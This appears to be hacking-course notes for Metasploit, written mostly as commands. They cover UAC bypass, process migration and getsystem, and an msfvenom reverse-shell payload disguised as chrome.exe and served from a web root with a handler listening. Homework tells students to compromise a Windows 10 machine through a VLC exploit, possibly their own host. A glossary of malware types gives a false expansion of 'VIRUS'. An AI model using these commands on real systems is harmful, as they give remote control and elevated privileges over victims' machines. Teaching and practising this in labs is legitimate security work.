sessions -i <session id>

meterpreter> background

msf5 exploit(windows/fileformat/ms15_100_mcl_exe) > search bypassuac

msf5 exploit(windows/fileformat/ms15_100_mcl_exe) > use exploit/windows/local/bypassuac

msf5 exploit(windows/local/bypassuac) > show options

msf5 exploit(windows/local/bypassuac) > set SESSION <Session id you've kept in background>

msf5 exploit(windows/local/bypassuac) > set PAYLOAD <same payload what you've used for the exploit>

msf5 exploit(windows/local/bypassuac) > set LHOST <your KALI IP>

msf5 exploit(windows/local/bypassuac) > set LPORT <another random port no>

msf5 exploit(windows/local/bypassuac) > show targets

msf5 exploit(windows/local/bypassuac) > set TARGET <the architecture of your target machine>

msf5 exploit(windows/local/bypassuac) > exploit

meterpreter > getpid

meterpreter > ps

meterpreter > migrate <the pid of the service that you want to migrate to>

meterpreter > getsystem

meterpreter > getprivs

MALWARES :
A piece of code that tries to corrup your machine is called a malware.

The types of malware:
1. Trojan
2. VIRUS – Vital Information & Resources Under Seize
3. Worm
4. Rootkits
5. Spyware
6. Ransomware
7. Adware
8. Backdoor

Practicals:

```
msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=1312
--platform windows -f exe -o /var/www/html/chrome.exe

msf5 > use multi/handler

msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.0.8
LHOST => 192.168.0.8
msf5 exploit(multi/handler) > set LPORT 1312
LPORT => 1312
msf5 exploit(multi/handler) > exploit
```

Homework: Use VLC (MKV fileformat exploit that is released in 2018) and try to get access of a windows 10 machine (preferrably your virtual machine if not let it be your host machine)

*Reference links: https://getintopc.com/